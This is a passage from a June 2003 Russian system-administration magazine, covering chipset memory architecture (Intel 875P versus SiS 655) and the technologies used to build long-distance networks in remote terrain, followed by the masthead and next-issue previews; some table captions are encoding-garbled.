МГц и 4x200 МГц соответственно. Причем отметим, что 3,2 ГГб/сек – это пиковая производительность, достижимая лишь при параллельной обработке данных, а на практике из-за высокой латентности чипсета даже при операции копирования блоков памяти она (пропускная способность) оказывается в полтора-два раза меньше! К тому же часть пропускной способности неизбежно «съедает» AGP-карта, и процессорной шине практически ничего не остается. Так какой же тогда смысл покупать (и выпускать!) процессоры с быстрыми шинами, если этой быстротой воспользоваться все равно не удается?! А поскольку надеяться на быстрый прогресс в области совершенствования памяти нам, увы, не приходится, разработчики были вынуждены прибегнуть к усилению параллелизма. Короче говоря, если один землекоп выкапывает один метр траншеи за час, то N землекопов выкопают N метров за это же самое время. Чипсет Intel 875P отличается от своих предшественников тем, что умеет работать с двумя парами модулей памяти параллельно. То есть если тот же Intel 845 загружал запрошенную у него кэш-строку за два пакетных цикла, то Intel 875P загружает ее за один, обращаясь сразу к двум модулям памяти одновременно! Эта мера вдвое увеличивает пропускную способность, но никак не

№6(7), июнь 2003

влияет на латентность! А поскольку для многих вычислительных алгоритмов величина латентности как раз и является доминирующей, то оптимизм по поводу такого параллелизма выходит не столь уж и радужным. При том же копировании производительность увеличивается не в двое, а всего в полтора раза! Таким образом, на реальных задачах расчетная пропускная способность все равно не достигается! Что же касается хаотичного доступа к памяти, характерного для таких структур, как деревья и списки (а это базовые структуры данных!), здесь ситуация еще хуже! Оперативная память отнюдь не так однородна, как кажется: она делится на банки, банки делятся на страницы, страницы делятся на строки, ну а строки делятся на ячейки. Прежде чем микросхема памяти «позволит» обратиться к ячейкам той или иной строки, соответствующая ей страница должна быть открыта, а на эту операцию требуется затратить весьма внушительное количество времени, практически сопоставимое с выполнением всего пакетного цикла целиком! Зато все запросы, направленные к открытой странице, могут выполняться без каких-либо задержек. Большинство модулей памяти имеют от четырех до восьми банков, а потому чипсет Intel 875P может удерживать в открытом состоянии до 32 страниц одновременно, что соответствует 256 Кб памяти. От максимально возможного количества открытых страниц напрямую зависит и производительность приложений, обрабатывающих более одного потока данных параллельно (к этой категории относятся, в частности, многие графические приложения). Отсюда: лучше иметь четыре отдельных модуля по 128 Мб, чем один на 512 Мб! При работе в двухканальном режиме это даст 16 одновременно открытых страниц плюс учетверенную (реально удвоенную) пропускную способность за счет усиленного параллелизма. Емкость и организация всех модулей при этом должна быть строго идентичной, в противном случае в многоканальном режиме чипсет просто не сможет работать! Требования к рабочей частоте менее жестки (более быстрая память будет работать на частоте самой медленной) и двухканальный режим разночастотные модули поддерживать в принципе будут, однако чипсет сможет работать только в обычном режиме адресации. А одна из главных вкусностей Intel 875P как раз и заключается в том, что он поддерживает продвинутый режим динамической адресации. Что же это за гусь такой и с чем его едят? В режиме обычной адресации (в котором функционирует подавляющее большинство чипсетов) банки памяти следуют один за другим и при последовательном чтении памяти располагаются так: страница 0 банк 0 → страница 0 банк 1 → страница 0 банк 2 → страница 0 банк 3 → страница 1 банк 1… Как следствие увеличивается удельная плотность банков на страницу (а значит, и возрастают накладные расходы на их более частое открытие/закрытие). В режиме динамической адресации чипсет отображает физические адреса памяти на адреса системной шины так, что банки начинают переключаться вдвое реже. Сначала следует последовательность страница 0 банк 0 → страница 0 банк 1 → страница 1 банк 1 → страница 1 банк 1 → страница 2 банк 0, а когда станицы первых двух банков полностью исчерпают себя: страница 0 банк 2 → страница 0 банк 3 → страница 1 банк 2 → стра-

hardware ница 1 банк 3 → страница 2 банк 2. Достоинством нового решения является значительное уменьшение латентности чтения, что немаловажно для подавляющего большинства приложений и потому отказываться от этой возможности, право же, не стоит! С другой вкусностью чипсета Intel 875P, так называемой PAT (Performance Acceleration Technology – технология увеличения производительности), ситуация скорее запутанна, чем ясна. В документации сказано лишь то, что эта технология увеличивает производительность за счет сокращения латентности чипсета, которая теперь (если верить документации) составляет всего два такта. На удивление малая величина, если принять во внимание длину цепочки и количество участников обработки запроса. Типичная схема большинства чипсетов выглядит так: контроллер шины принимает запрос и ставит его в очередь, которую периодически опрашивает агент транзакций и, извлекая накопившиеся к этому времени запросы, преобразует их в командные пакеты, поступающие на вход планировщика запросов к памяти, который получает запросы сразу от нескольких устройств: процессора, AGP-карты, южного моста и др., стараясь обслуживать всех клиентов максимально эффективно. Спланированные запросы накапливаются в очереди арбитра памяти, который по мере их извлечения распределяет ячейки по физическим адресам, передавая их непосредственно блоку сопряжения с модулями памяти. Теперь вам понятно, чем одни чипсеты отличаются от других? За словами «контроллер шины» и «контроллер памяти» скрывается целый мир, состоящий из множества узлов и сложно взаимодействующих друг с другом компонентов. Заставить все это хозяйство работать параллельно практически невозможно и потому латентность рядовых чипсетов составляет от десяти до двадцати тактов системной шины! Ума не приложу, как парням из Intel удалось уложиться всего лишь в два. Однако уменьшение латентности еще не увеличивает пропускную способность, и для потоковых приложений (либо же приложений, хранящих обрабатываемые данные в основном в кэше) прирост скорости окажется пренебрежительно мал. По результатам некоторых исследований (сообщения о которых были найдены в Интернете) общий прирост производительности, осуществляемый PAT, составляет всего 2% – 5%. Очень странные цифры! К сожалению, никакой дополнительной информации (что именно и как именно измерялось) авторами исследований не приводится, а потому польза от таких исследований равна нулю. Во всяком случае, в чипсете SiS 655 ничем подобным и не пахнет и, судя по всему, его латентность достаточно велика (к сожалению, из-за отсутствия самого чипсета измерять ее реальное значение не представляется возможным). Еще одной приятной особенностью чипсета Intel 875P, которую, без сомнения, по достоинству оценят все любители «разгона», является возможность контроля температуры чипов памяти. Не секрет, что даже при работе в штатном режиме память очень сильно нагревается и при плохой циркуляции воздуха внутри корпуса может начать сбоить (кстати, некоторые процессорные вентиляторы этому очень даже способствуют, поскольку направляют поток горячего воздуха прямиком на

модули памяти). Если же рабочую частоту памяти увеличить сверх штатного, то она и вовсе может выйти из строя. Чтобы этого не произошло, чипсет Intel 875P подсчитывает количество обращений к памяти в единицу времени и при достижении некоторого предела начинает вставлять холостые циклы, давая памяти хоть немного остыть. Означает ли это, что память не сможет работать на своей полной пропускной способности (т.е. две порции данных за один такт)? А вот и нет! Последовательное чтение ячеек практически не нагревает микросхему, а вот интенсивное переключение банков – да. Таким образом, увеличив частоту работы памяти сверх штатного, мы сможем увеличить и производительность потоковых приложений, гарантированно оставаясь застрахованными от возможных сбоев, возникающих при хаотичном обращении к различным страницам (что происходит, в частности, при загрузке Windows). Другой путь – использование внешнего термодатчика, прикрепленного к микросхеме. Чипсет Intel 857P это поддерживает, однако перекладывает заботу об охлаждении памяти на BIOS, что уже не есть хорошо. С другой стороны, дополнительный датчик карман не тянет, и как резервный уровень защиты от перегрева он вполне подойдет. И наконец, шина CSA (CommunicationsStreaming Architecture) – последняя рассматриваемая нами вкусность чипсета Intel 875P, наличием которой не может похвастаться ни один из его конкурентов. Обеспечивая пропускную способность в 266 Мб/сек, она позволяет значительно разгрузить южный мост от таких прожорливых чудовищ, как, например, Gigabit Ethernet Intel PRO/1000. Весь вопрос в том, сколько производителей интегрируют такой чип на свои материнские платы. Потребность в столь быстрых локальных сетях у общественности еще не возникла и в ближайших перспективах шине CSA суждено оставаться незадействованной. В остальном же Intel 875P представляется крайне удачным и хорошо сбалансированным чипсетом. Идеальный выбор для тех, кому нужна скорость и у кого есть деньги. Чипсет SiS 655 обеспечивает не сильно худшую скорость, но за значительно меньшую сумму. Однако Intel – бренд (и этим все сказано), а чипсеты сторонних производителей – это все равно, что обезьяна с гранатой. Порой разница между заявленным и действительным столь велика, что начинаешь поневоле задумываться: настолько ли вы богаты, чтобы позволить себе покупать дешевые вещи? В частности, некоторые чипсеты от VIA поддерживают заявленные частоты лишь формально, т.е. они «держат» шину на этой частоте, но внутри самого чипсета данные передаются со скоростью вдвое, а то и вчетверо меньшей. «Маразм», – воскликнете вы. «Нет, просто дешевый чипсет», – возражу я. К слову сказать, в моей книге «Техника оптимизации программ», которая скоро появится в продаже, вы найдете не только развернутое описание архитектуры принципов функционирования оперативной памяти, но и впечатляющий список ошибок реализаций аппаратуры с объяснениями, почему в тех или иных случаях она работает не так, как хотелось бы.

hardware Приложение 1 Выбор и конфигурирование памяти Поскольку чипсеты Intel 857P и SiS 655 поддерживают далеко не все типы DDR-памяти, то существует ненулевая вероятность приобрести в магазине такой модуль, который на вашем компьютере работать просто не будет, либо же будет работать крайне неэффективно. А потому перед походом в магазин рекомендуем внимательно изучить таблицы, приведенные ниже. Надеюсь, они помогут вам сделать правильный выбор (или узнать: подходит ли уже имеющаяся у вас память к новому чипсету или нет). Что же касается чипсета SiS 655, то в рекламном буклете, выложенном на сайте компании, никакой информации на этот счет нет, а нормальная техническая документация «зажата» и отдается только за деньги. Гм, платить свои деньги, чтобы описывать (читай: продвигать) чипсет компании SiS?! А оно мне нужно? Òàáëèöà 1. Òèïû ïàìÿòè, ïîääåðæèâàåìîé Intel 875EP.

Òàáëèöà 2. Íàñòðîéêà ïàìÿòè íà ìàêñèìàëüíóþ ïðîèçâîäèòåëüíîñòü.

Обратите внимание, что DDR 333 выгоднее гонять на 133 MHz шине, но не на 200 MHz! Òàáëèöà 3. Íàáèâêà ïàìÿòè â ñëîòû íà Intel 875P è åå âëèÿíèå íà ïðîèçâîäèòåëüíîñòü (1 – íàèâûñøèé ðåéòèíã).

Òàáëèöà 4. Íàáèâêà ïàìÿòè â ñëîòû íà Intel 875P è åå âëèÿíèå íà ïðîèçâîäèòåëüíîñòü (1 – íàèâûñøèé ðåéòèíã).

Приложение 2 Приблизительная схема взаимодействия памяти и процессора

Получив запрос на чтение ячейки, процессор выпол-

няет арбитраж и передает чипсету адрес и длину запрошенного блока памяти. При условии, что шина свободна, эта операция укладывается в четыре такта. Контроллер шины, получив запрос, ставит его в очередь и, если контроллер памяти свободен, передает ему запрос с началом следующего такта.

№6(7), июнь 2003

В течение следующего такта контроллер памяти декодирует адрес и ставит его в свою внутреннюю очередь запросов на чтение памяти. В следующем такте запрос извлекается из очереди, и контроллер, при необходимости дождавшись прихода фронта тактового импульса микросхемы памяти, передает ей адрес ячейки: I. Если соответствующая страница открыта и банк памяти не находится на регенерации, чипсет выставляет сигнал CAS и передает сокращенный адрес ячейки. Спустя 2-3 такта частоты памяти на шине появляется первая порция считанных данных. II. Контроллер памяти считывает ее за один такт. Синхронный контроллер памяти с началом следующего такта передает считанные данные контролеру шины и в дальнейшем пересылка осуществляется параллельно с чтением, но с задержкой в один такт. Асинхронный контроллер памяти «благодаря» расхождению частот не может передавать данные одновременно с чтением, и вынужден накапливать их во временном буфере. После завершения пакетного цикла чтения, контроллер памяти по приходу фронта следующего синхроимпульса начинает передавать содержимое временного буфера контроллеру шины на требуемой частоте. Примечание: некоторые дешевые чипсеты, в частности VIA KT133/KT266, осуществляют передачу данных внутри чипсета только по фронту импульса, что полностью обесценивает все преимущества шины EV6, на которой работает Athlon, и ее эффективная частота (определяемая, как известно, самым узким местом системы) оказывается равной всего 100/133 MHz. Примечание: если длина запроса превышает длину пакета, то независимо от типа контроллера памяти, данные всегда передаются через временный буфер. III. На чтение «хвоста» пакета в зависимости от его длины уходит еще от трех до семи тактов частоты оперативной памяти при использовании памяти типа SDRAM и от двух до трех тактов на DDR соответственно. IV. Если длина запроса превышает длину пакета, то мы возвращаемся к пункту I. V. Контроллер шины, получив считанные данные, формирует запрос на передачу данных от чипсета к процессору и ставит его в очередь, на что расходуется один такт. VI. Если в очереди не находится ничего другого, и шина никем не занята, контроллер шины извлекает запрос из очереди и «выстреливает» его в шину, передавая за один такт одну, две или четыре порции данных (на K6/P-II/P-III, Athlon и P-4 соответственно). VII. Как только запрошенная ячейка попадает в процессор, она становится немедленно доступной для обращения, даже если пакетный цикл передачи еще не завершен.

hardware VIII. Все! Остается лишь добавить латентность кэш-контроллеров всех иерархий и латентность самого процессора, но это уже тема другого разговора, к оперативной памяти прямого отношения не имеющая. если требуемая DRAM-страница закрыта, но банк не находится на регенерации, контроллер памяти передает адрес строки, вырабатывает сигнал RAS, ждет 2 или 3 такта, пока микросхема его «переварит», и переходит к сценарию I. если же банк находится на регенерации, контроллеру приходится подождать от одного до трех тактов, пока она не будет завершена.

Приложение 3 Латентность против пропускной способности С точки зрения пользователя PC главная характеристика памяти – это скорость или, другими словами, ее быстродействие. Казалось бы, измерить быстродействие просто. Достаточно подсчитать количество информации, выдаваемой памятью в единицу времени (скажем, мегабайт в секунду), и… ничего не получится! Дело в том, что время доступа к памяти непостоянно и в зависимости от характера обращений варьируется в очень широких пределах. Наибольшая скорость достигается при последовательном чтении, а наименьшая – при чтении вразброс. Но и это еще не все! Современные модули памяти имеют несколько независимых банков и потому позволяют обрабатывать более одного запроса параллельно. Если запросы следуют друг за другом непрерывным потоком, непрерывно генерируются и ответы. Несмотря на то, что задержка между поступлением запроса и выдачей соответствующего ему ответа может быть весьма велика, в данном случае это не играет никакой роли, поскольку латентность (т. е. величина данной задержки) полностью маскируется конвейеризацией и производительность памяти определяется исключительно ее пропускной способностью. Можно провести следующую аналогию: пусть сборка одного отдельного взятого Мерседеса занимает, скажем, целый месяц. Однако если множество машин собирается па-

раллельно, завод может выдавать хоть по сотне Мерседесов в день, и его «пропускная способность» в большей степени определяется именно количеством сборочных линий, а не временем сборки каждой машины. В настоящее время практически все производители оперативной памяти маркируют свою продукцию именно в пропускной способности, но наблюдающийся в последнее время стремительный рост пропускной способности адекватного увеличения производительности приложений, как это ни странно, не вызывает. Почему? Основной камень преткновения – фундаментальная проблема зависимости по данным. Рассмотрим следующую ситуацию. Пусть ячейка N 1 хранит указатель на ячейку N 2, содержащую обрабатываемые данные. До тех пор пока мы не получим содержимое ячейки N 1, мы не сможем послать запрос на чтение ячейки N 2, поскольку еще не знаем ее адреса. Следовательно, производительность памяти в данном случае будет определяться не пропускной способностью, а латентностью. Причем не латентностью микросхемы памяти, а латентностью всей подсистемы памяти – кэш-контроллером, системной шиной, набором системной логики… Латентность всего этого хозяйства очень велика и составляет порядка 20 тактов системной шины, что многократно превышает полное время доступа к ячейке оперативной памяти. Таким образом, при обработке зависимых данных быстродействие памяти вообще не играет никакой роли: и SDRAM PC100, и RDRAM800 покажут практически идентичный результат! Причем описываемый случай отнюдь не является надуманным, скорее наоборот, это типичная ситуация. Основные структуры данных (такие, как деревья и списки) имеют ярко выраженную зависимость по данным, поскольку объединяют свои элементы именно посредством указателей, что «съедает» весь выигрыш от быстродействия микросхем памяти. 1

На самом деле кэш-линейки P-4 делятся на две половинки, загружающих свое содержимое независимо друг от друга. 2 NA: not available – не поддерживается.

cети

ДАЛЬНЯЯ СВЯЗЬ. КАК ЭТО БЫВАЕТ

ДЕНИС ЕЛАНСКИЙ 90

сети Позволю себе немного пофантазировать: предположим, нужно сделать сеть. Чего бы проще? А как быть, если расстояния между подсетями от 5 до 1000 километров? Тоже вроде бы не проблема – арендуй линию у провайдера и не мучайся. Можно купить широкий канал, можно поуже – какие проблемы? А что делать, когда до ближайшего провайдера расстояние такое же, как и до наиболее удаленного подразделения? А вот теперь исходные данные: расстояния – значительные (от 5 до 1000 км), инфраструктуры практически никакой (ни магистральных линий, ни обычных телефонных кабелей) и болота, болота, тайга, комары и прочий гнус, плюс суровый климат: градиент температуры – градусов 80. И в этих условиях надо построить интерсеть для предприятия. Дальше я рассмотрю некоторые технологии, которые были использованы при реализации проекта (все-таки оно заработало) и сделаю некоторые обобщения на основании собственного опыта, полученного от этой работы.

чае это обнаружение коллизий, во втором – избежание. В любом случае, при соединении типа точка-точка при полнодуплексной передаче коллизий данных не возникает. Длина сегмента зависит от типа оптического носителя (одномодовое или многомодовое оптоволокно используется), от типа передатчика и от длины световой волны. К преимуществам этой технологии можно отнести: высокая скорость передачи данных (до 160 Гб/с); значительные расстояния, которые могут быть перекрыты сегментом сети (существующие 40 километров, очевидно, не предел – существует отчетливая тенденция к увеличению дистанций); помехозащищенность (эта положительная черта соответствует не столько технологии Ethernet, сколько технологиям передачи данных по оптоволокну).

LAN

Изначально локальные вычислительные сети предназначались для объединения вычислительных машин в пределах малых зданий. Причиной тому была низкая пропускная способность сети (которая при увеличении рабочих расстояний снижалась экспоненциально), а также отсутствие подходящих алгоритмов и средств передачи. Однако с развитием этого направления, с возникновением стандартов, описывающих высокоскоростные сети, с появлением новых материалов, позволяющих расширить радиус сегмента сети, стало возможным использование локальных сетей для создания достаточно протяженных структур с высокой пропускной способностью. Среди множества технологий локальных сетей для построения магистральных каналов дальнего действия стоит рассматривать оптико-волоконные Ethernet-сети. Современные реализации этого направления позволяют достичь скорости передачи в 10 Гб/с, а с учетом дуплексности (одновременной приемопередачи) – 20Гб/с. При этом, используя технологию объединения каналов, предложенную Cisco Systems (EtherChannel), номинальная скорость передачи данных может быть увеличена еще в 8 раз. Естественно, что полезная производительность канала Ethernet значительно ниже, т.к. существенную часть трафика составляет служебная информация. Технология Ethernet характеризуется алгоритмами CSMA/CD и CSMA/CA. Оба этих алгоритма определяют множественный доступ с контролем несущей и различаются лишь методом борьбы с коллизиями: в первом слуÒàáëèöà

К недостаткам метода нельзя не отнести следующие:

высокая стоимость линий; недостатки технологии Ethernet (избыточность служебной информации, понижающая полезную пропускную способность канала); проблемы, связанные с использованием оптоволокна (физическая хрупкость, способность к замутнению сердечника и потере проводимости).

MAN К классу городских сетей принято относить вычислительные сети, построенные на базе технологии FDDI. Технология FDDI во многом основывается на технологии Token Ring, развивая и совершенствуя ее основные идеи. Разработчики технологии FDDI ставили перед собой в качестве наиболее приоритетных следующие цели: Повысить битовую скорость передачи данных до 100 Мб/с. Повысить отказоустойчивость сети за счет стандартных процедур восстановления ее после отказов различного рода: повреждения кабеля, некорректной работы узла, концентратора, возникновения высокого уровня помех на линии и т. п. Максимально эффективно использовать потенциальную пропускную способность сети как для асинхронного, так и для синхронного трафиков. Сеть FDDI строится на основе двух оптоволоконных колец, которые образуют основной и резервный пути передачи данных между узлами сети. Использование двух колец – это основной способ повышения отказоустойчивости в сети FDDI, и узлы, которые хотят им воспользоваться, должны быть подключены к обоим кольцам. В нормальном режиме работы сети данные проходят через все

1. Äàëüíîäåéñòâèå îïòîâîëîêîííûõ ñåòåé Ethernet.

№6(7), июнь 2003

cети узлы и все участки кабеля первичного (Primary) кольца, поэтому этот режим назван режимом Thru: «сквозным» или «транзитным». Вторичное кольцо (Secondary) в этом режиме не используется. В случае какого-либо вида отказа, когда часть первичного кольца не может передавать данные (например, обрыв кабеля или отказ узла), первичное кольцо объединяется со вторичным, образуя вновь единое кольцо. Этот режим работы сети называется Wrap, то есть «свертывание» или «сворачивание» колец. Операция свертывания производится силами концентраторов и/или сетевых адаптеров FDDI. Для упрощения этой процедуры данные по первичному кольцу всегда передаются против часовой стрелки, а по вторичному – по часовой. Поэтому при образовании общего кольца из двух колец передатчики станций по-прежнему остаются подключенными к приемникам соседних станций, что позволяет правильно передавать и принимать информацию соседними станциями. Кольца в сетях FDDI рассматриваются как общая разделяемая среда передачи данных, поэтому для нее определен специальный метод доступа. Этот метод очень близок к методу доступа сетей Token Ring и также называется методом маркерного (или токенного) кольца. В таблице 2 представлены результаты сравнения технологии FDDI с технологиями Ethernet и Token Ring. Помимо FDDI существуют решения SDDI и UDDI, отличающиеся только средой передачи (экранированная и неэкранированная витая пара соответственно).

WAN Говоря о глобальных сетях, стоит различать логические и физические технологии сетей. Под физическими WAN я буду понимать методы создания физического канала, линии передачи, а под логическими WAN – способ инкапсу-

ляции, технологию передачи. В настоящее время существуют и широко используются несколько технологий, относящихся к глобальным сетям: xDSL, ISDN, Frame Relay, ATM и SDH. Но поскольку основной задачей исследования является подбор технологий для построения глобальных каналов в крайне неблагоприятной среде, технологии ATM и SDH (та компонента, которая отвечает за канал передачи данных, во всяком случае) из рассмотрения исключаются по причине высокой стоимости и требовательности к каналам передачи данных, а о Frame Relay и ISDN писали достаточно много, чтобы делать это снова.

xDSL Существует несколько стандартов класса xDSL. Их общие характеристики (скорость, дальность, топология) приводятся в таблице 3. Наиболее перспективной отечественной разработкой в области xDSL является система MEGATRANS-2L. С целью достижения требуемых параметров по дальности и помехозащищенности оборудования используется несимметричная, адаптивная многопозиционная модуляция с регулируемым уровнем. В новом поколении оборудования применяется алгоритм Аналоговой Обработки и Коррекции Сигнала (АОКС). Алгоритм АОКС позволяет оптимизировать работу системы на кабелях с диаметром жил от 0,8 до 1,2 мм и тем самым добиться дальнейшего увеличения дальности работы. На сегодняшний день система MEGATRANS-2L обеспечивает большую дальность работы (длину участка регенерации), чем любая другая цифровая система передачи той же пропускной способности. Система передачи MEGATRANS-2L гарантированно работоспособна на всех сегментах кабельной линии, где может быть успешно применена аналоговая аппаратура

Òàáëèöà 2. Ñðàâíåíèå õàðàêòåðèñòèê ñåòåé FDDI, Ethernet è Token Ring.

сети Òàáëèöà 3. Ñòàíäàðòû xDSL.

типа К-60. Более того, в ряде случаев система MEGATRANS-2L обеспечивает больший «запас устойчивости» при ухудшении параметров кабельной линии, чем системы К-60. Линейный тракт рассчитан главным образом на работу по симметричным электрическим кабелям связи, однако возможна работа системы и по коаксиальным кабе-

лям. Приведенные ниже параметры даны для работы по симметричным кабелям. Оконечное оборудование линейного тракта имеет стандартные интерфейсы G.703 (формат кадра G.704) для сопряжения с любыми системами, поддерживающими данный стандарт, например, непосредственно с оборудованием коммутации каналов (цифровой АТС), оборудова-

Òàáëèöà 4. Îñíîâíûå õàðàêòåðèñòèêè Nateks-Microlink STM-1

№6(7), июнь 2003

cети нием временного разделения (мультиплексором) или коммутации пакетов (IP, ATM, FR и т. д.). При замыкании, асимметрии или обрыве кабельных пар дистанционное питание отключается. Предусмотрена возможность определения поврежденного сегмента путем реверса полярности дистанционного питания.

Беспроводные системы связи Рассмотренные ранее случаи предполагали использование существующих, либо прокладку новых кабельных систем. Однако в случаях, когда подобная операция невозможна, целесообразно обратиться к беспроводным линиям связи. Беспроводные (радио-) каналы можно разделить на мультиплексируемые (ISDN-подобные) и немультиплексируемые (Ethernet-подобные). К первому типу относится оборудование Natex (Natex Mikrolink SDH), а ко второму – радиомосты Cisco AirNet 350. Эти технологии позволяют ретранслировать сигнал на расстоянии до 60 км (расстояние зависит от типа используемых антенн, от погодно-климатических условий и рельефа). Оборудование класса Nateks-Microlink SDH используется для построения радиорелейных линий уровня STM-1. Оно позволяет создавать как однопролетные, так и многопролетные линейные и кольцевые радиорелейные линии с резервированием. Длина одного пролета РРЛ-линии может составлять от 5 до 60 км. Так же могут организовываться РРЛ с частотным или пространственным разносом приемников и передатчиков. Nateks-Microlink SDH может быть встроена в телекоммуникационные сети, отвечающие стандартам SDH/SONET, и является высокопроизводительным решением для беспроводной передачи информации по этим сетям, резервирования и/или доступа к ним. Система поддерживает транспортные протоколы АТМ и IP по SDH. Оборудование может быть соединено с мультиплексором доступа и управляться сетевым менеджментом SDH, превращаясь в часть сквозного SDH-решения. Поддерживается трафик АТМ 155 Мбит/с и ЕЗ/ТЗ и Fast Ethernet. В таблице 4 приводятся общие характеристики оборудования и получаемого канала передачи. Для построения недорогих, но при этом достаточно производительных радиоканалов, возможно использование технологии Ethernet. Подобную функциональность предоставляет радиомост Cisco Air Net 350. Это устройство обеспечивает передачу данных на скорости 11 Мб/с на расстояния до 40 км (дальность и скорость, как и у Микролинк, зависит от погодно-климатических условий и рельефа местности, а также от типа ис-

пользуемой антенны). Основными преимуществами системы является простота установки, настройки и эксплуатации. Кроме того, не требуется дополнительное оборудование для сопряжения беспроводного тракта передачи с локальными сетями: мост имеет два интерфейса: RJ-45 для подключения к ЛВС и два высокочастотных интерфейса для подключения к антеннам. Другим положительным моментом при использовании Cisco Air Net 350 являются его мостовые функции, позволяющие осуществлять разбиение сети на домены широковещания. Предоставляемые сервисы подходят для последовательного объединения локальных сетей, при этом для построения магистральной линии данная технология не приемлема по причине низкой пропускной способности и особенностей технологии Ethernet.

Заключение Ну а теперь попробую подвести некоторый итог, посчитать сухой остаток. В рассмотренном выше материале предлагаются различные методы построения линий связи дальнего действия как в условиях наличия, так и отсутствия каких-либо проводных сетей. Предлагаются способы построения локальных объединений, а также магистральных каналов с широкой полосой пропускания. В таблице 5 отражены сводные результаты проведенной работы. Приводимая рекомендация неабсолютна, т.к. носит общий характер и не учитывает местной специфики, такой как финансовые возможности, реальные потребности в качестве связи, априорно существующие возможности и т. п. При этом она и неголословна – все решения были использованы в проекте, речь о котором шла в самом начале статьи. Другое дело, что конкретные условия могут отличаться в зависимости от места реализации, так что эта условность неизбежно внесет некие коррективы. На мой взгляд, сколь я могу себе его позволить, наиболее перспективным для внедрения направлением является технология беспроводных SDH, позволяющая высокоскоросную производительную передачу данных на большие расстояния с высокими возможностями мультиплексирования. Ññûëêè â òåìó: www.xdsl.ru www.citforum.ru www.cisco.com www.nateks.ru www.nortel.com http://lattice.itep.ru

Òàáëèöà 5. Ïðèìåíÿåìàÿ òåõíîëîãèÿ â çàâèñèìîñòè îò íàçíà÷åíèÿ êàíàëà è ðàçâèòîñòè ìåñòíîé èíôðàñòðóêòóðû.

Альтернативная подписка: ООО «Интер-Почта» по тел. (095) 500-00-60 Курьерская доставка по Москве 81655

Единый подписной индекс:

81655 по каталогу агентства «Роспечать»

81655

Рады видеть Вас нашими читателями!

№6(7), июнь 2003

СИСТЕМНЫЙ АДМИНИСТРАТОР №6(7), Июнь, 2003 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин РЕКЛАМНАЯ СЛУЖБА тел.: (095) 928-8253 (доб. 112) факс: (095) 928-8253 Константин Меделян reсlama@samag.ru Верстка и оформление imposer@samag.ru maker_up@samag.ru Дизайн обложки Николай Петрочук 103012, г. Москва, Ветошный переулок, дом 13/15 тел.: (095) 928-8253 (доб. 112) факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ООО «Мастер Печати» Тираж 5000 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.

ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: Неявный самоконтроль как средство создания неломаемых защит Основная ошибка подавляющего большинства разработчиков защитных механизмов состоит в том, что они дают явно понять хакеру, что защита еще не взломана. Если защита сообщает «неверный ключевой файл (пароль)», то хакер ищет тот код, который ее выводит и анализирует условия, которые приводят к передаче управления на данную ветку программы. Если защита в случае неудачной аутентификации блокирует некоторые элементы управления и/или пункты меню, хакер либо снимает такую блокировку в «лоб», либо устанавливает точки останова (в просторечии называемые «бряками») на API-функции, посредством которых такое блокирование может быть осуществлено (как правило, это Enable Windows), после чего он опять-таки оказывается в непосредственной близости от защитного механизма, который ничего не стоит проанализировать и взломать.

Стартовые скрипты FreeBSD Знакомство с системой зачастую начинается с ее установки и настройки, причем эти два процесса обычно совмещены. Для систем Unix настройка сводится к созданию текстовых файлов конфигурации. В FreeBSD основная работа идет над файлом /etc/ rc.conf, который является частью системы стартовых скриптов /etc/rc*. Настроить систему после установки можно путем запуска /stand/ sysinstall или вручную. Оба способа хороши, а первый к тому же лишен недостатка большинства программ автоматической настройки: уже заданные параметры не перезаписываются, а добавляются в конец файла /etc/rc.conf, где их можно затем отредактировать под собственные нужды или вообще удалить, чтобы вернуться к настройкам по умолчанию.

Настройка сервера SSH Сервис Telnet обеспечивает базовую эмуляцию терминалов удаленных систем, поддерживающих протокол Telnet над протоколом TCP/IP. Обеспечивается эмуляция терминалов Digital Equipment Corporation VT 100, Digital Equipment Corporation VT 52, TTY. Любые команды, выполняемые с помощью Telnet, обрабатываются telnet-сервером, а не локальным компьютером. Пользователь лишь видит результат выполнения этих команд. Для использования Telnet на удаленном компьютере должен быть установлен Telnet-демон. Практически в каждой операционной системе существует утилита telnet, которая является клиентом для протокола Тelnet.

Почему, собственно, Python Администраторы БД очень часто нуждаются в инструментах для автоматизации разной рутинной работы, например, для загрузки, преобразований данных в разного рода форматы, для сбора и анализа различной статистики. В свое время для меня такой палочкой-выручалочкой стал Perl. Через некоторое время я набрел на Python. Что я хочу сказать после года знакомства: практичный и полезный инструмент.

Каким видится хороший администратор Хороший системный администратор – как много в этих трех словах отзывается в сердце любого начальника. В самом деле, как распознать хорошего системного администратора среди претендентов на вакантное место? Ведь что ни говори, сисадмин в компании – одно из самых незаметных лиц и в то же время одно из самых важных. Ведь именно от него (от них, если их много) зависит, будут ли «бесперебойно работать» ваши сотрудники, и сможете ли вы гарантировать хоть какой-то уровень обслуживания своим клиентам.